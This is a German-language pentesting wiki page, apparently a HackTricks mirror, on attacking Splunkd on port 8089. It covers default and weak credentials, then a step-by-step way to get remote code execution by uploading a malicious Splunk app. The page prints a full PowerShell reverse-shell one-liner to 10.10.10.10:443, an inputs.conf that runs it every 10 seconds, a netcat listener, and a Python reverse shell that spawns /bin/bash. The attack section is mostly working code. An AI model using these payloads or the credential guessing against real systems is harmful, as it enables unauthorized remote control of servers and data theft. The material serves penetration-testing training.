mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-30 06:53:11 +00:00
138 lines
9.4 KiB
Markdown
138 lines
9.4 KiB
Markdown
# 8089 - Pentesting Splunkd
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
|
|
|
|
</details>
|
|
|
|
## **Grundlegende Informationen**
|
|
|
|
Splunk ist ein **Protokollanalysetool**, das eine entscheidende Rolle beim **Sammlen, Analysieren und Visualisieren von Daten** spielt. Obwohl sein ursprünglicher Zweck nicht darin bestand, als **SIEM (Sicherheitsinformations- und Ereignisverwaltung)**-Tool zu dienen, hat es an Bedeutung im Bereich der **Sicherheitsüberwachung** und **Geschäftsanalyse** gewonnen.
|
|
|
|
Splunk-Implementierungen werden häufig verwendet, um **sensible Daten** zu speichern und können für potenzielle Angreifer eine **wertvolle Informationsquelle** darstellen, wenn es ihnen gelingt, das System zu kompromittieren. **Standardport:** 8089
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
8089/tcp open http Splunkd httpd
|
|
```
|
|
{% hint style="info" %}
|
|
Der **Splunk-Webserver läuft standardmäßig auf Port 8000**.
|
|
{% endhint %}
|
|
|
|
## Enumeration
|
|
|
|
### Kostenlose Version
|
|
|
|
Die Splunk Enterprise-Testversion wird nach 60 Tagen in eine **kostenlose Version umgewandelt**, die **keine Authentifizierung erfordert**. Es ist nicht ungewöhnlich, dass Systemadministratoren eine Testversion von Splunk installieren, um sie auszuprobieren, die **anschließend vergessen wird**. Diese wird automatisch in die kostenlose Version umgewandelt, die keine Form der Authentifizierung hat und somit ein Sicherheitsrisiko in der Umgebung darstellt. Einige Organisationen entscheiden sich möglicherweise aufgrund von Budgetbeschränkungen für die kostenlose Version, ohne die Auswirkungen eines fehlenden Benutzer-/Rollenmanagements vollständig zu verstehen.
|
|
|
|
### Standardanmeldeinformationen
|
|
|
|
In älteren Versionen von Splunk sind die Standardanmeldeinformationen **`admin:changeme`**, die bequemerweise auf der Anmeldeseite angezeigt werden.\
|
|
Jedoch setzt **die neueste Version von Splunk** **Anmeldeinformationen** **während des Installationsprozesses**. Wenn die Standardanmeldeinformationen nicht funktionieren, lohnt es sich, nach gängigen schwachen Passwörtern wie `admin`, `Welcome`, `Welcome1`, `Password123` usw. zu suchen.
|
|
|
|
### Informationen erhalten
|
|
|
|
Nach dem Anmelden bei Splunk können wir **Daten durchsuchen**, **Berichte ausführen**, **Dashboards erstellen**, **Anwendungen aus der Splunkbase-Bibliothek installieren** und benutzerdefinierte Anwendungen installieren.\
|
|
Sie können auch Code ausführen: Splunk hat mehrere Möglichkeiten, **Code auszuführen**, wie serverseitige Django-Anwendungen, REST-Endpunkte, skriptgesteuerte Eingaben und Alarmierungsskripte. Eine häufige Methode, um eine Remote-Codeausführung auf einem Splunk-Server zu erlangen, ist die Verwendung einer skriptgesteuerten Eingabe.
|
|
|
|
Darüber hinaus können skriptgesteuerte Eingaben erstellt werden, um Bash-, PowerShell- oder Batch-Skripte auf Windows- oder Linux-Hosts auszuführen.
|
|
|
|
### Shodan
|
|
|
|
* `Splunk build`
|
|
|
|
## RCE
|
|
|
|
### Benutzerdefinierte Anwendung erstellen
|
|
|
|
Eine benutzerdefinierte Anwendung kann **Python-, Batch-, Bash- oder PowerShell-Skripte ausführen**.\
|
|
Beachten Sie, dass **Splunk mit installiertem Python geliefert wird**, sodass Sie selbst auf **Windows**-Systemen Python-Code ausführen können.
|
|
|
|
Sie können [**diese**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk-Paket verwenden, um uns zu unterstützen. Das Verzeichnis **`bin`** in diesem Repository enthält Beispiele für [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) und [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Lassen Sie uns das Schritt für Schritt durchgehen.
|
|
|
|
Um dies zu erreichen, müssen wir zunächst eine benutzerdefinierte Splunk-Anwendung mit der folgenden Verzeichnisstruktur erstellen:
|
|
```shell-session
|
|
tree splunk_shell/
|
|
|
|
splunk_shell/
|
|
├── bin
|
|
└── default
|
|
```
|
|
Der **`bin`**-Ordner wird alle **Skripte enthalten, die wir ausführen möchten** (in diesem Fall ein **PowerShell**-Reverse-Shell), und im Standardverzeichnis befindet sich unsere `inputs.conf`-Datei. Unsere Reverse-Shell wird ein **PowerShell-Einzeller** sein:
|
|
```powershell
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
|
```
|
|
Die [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) Datei gibt Splunk an, **welches Skript ausgeführt werden soll** und alle anderen Bedingungen. Hier setzen wir die App als aktiviert und sagen Splunk, das Skript alle 10 Sekunden auszuführen. Das Intervall ist immer in Sekunden angegeben, und die Eingabe (Skript) wird nur ausgeführt, wenn diese Einstellung vorhanden ist.
|
|
```shell-session
|
|
cat inputs.conf
|
|
|
|
[script://./bin/rev.py]
|
|
disabled = 0
|
|
interval = 10
|
|
sourcetype = shell
|
|
|
|
[script://.\bin\run.bat]
|
|
disabled = 0
|
|
sourcetype = shell
|
|
interval = 10
|
|
```
|
|
Wir benötigen die `.bat`-Datei, die ausgeführt wird, wenn die Anwendung bereitgestellt wird, und führen den PowerShell-One-Liner aus.
|
|
|
|
Der nächste Schritt besteht darin, `Install app from file` auszuwählen und die Anwendung hochzuladen.
|
|
|
|
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Bevor wir die bösartige benutzerdefinierte App hochladen, starten wir einen Listener mit Netcat oder [socat](https://linux.die.net/man/1/socat).
|
|
```shell-session
|
|
sudo nc -lnvp 443
|
|
|
|
listening on [any] 443 ...
|
|
```
|
|
Auf der `App hochladen` Seite klicken Sie auf Durchsuchen, wählen Sie das zuvor erstellte Tarball aus und klicken Sie auf `Hochladen`. Sobald wir die Anwendung hochgeladen haben, wird eine **umgekehrte Shell empfangen**, da der Status der Anwendung automatisch auf `Aktiviert` umgeschaltet wird.
|
|
|
|
#### Linux
|
|
|
|
Wenn wir es mit einem **Linux-Host** zu tun hätten, müssten wir das `rev.py` Python-Skript **bearbeiten**, bevor wir das Tarball erstellen und die benutzerdefinierte bösartige App hochladen. Der Rest des Prozesses wäre gleich, und wir würden eine umgekehrte Shell-Verbindung auf unserem Netcat-Listener erhalten und loslegen.
|
|
```python
|
|
import sys,socket,os,pty
|
|
|
|
ip="10.10.14.15"
|
|
port="443"
|
|
s=socket.socket()
|
|
s.connect((ip,int(port)))
|
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Privilege Escalation
|
|
|
|
Auf der folgenden Seite finden Sie eine Erklärung, wie dieser Dienst missbraucht werden kann, um Berechtigungen zu eskalieren und Persistenz zu erlangen:
|
|
|
|
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
|
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
## References
|
|
|
|
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
|
|
|
</details>
|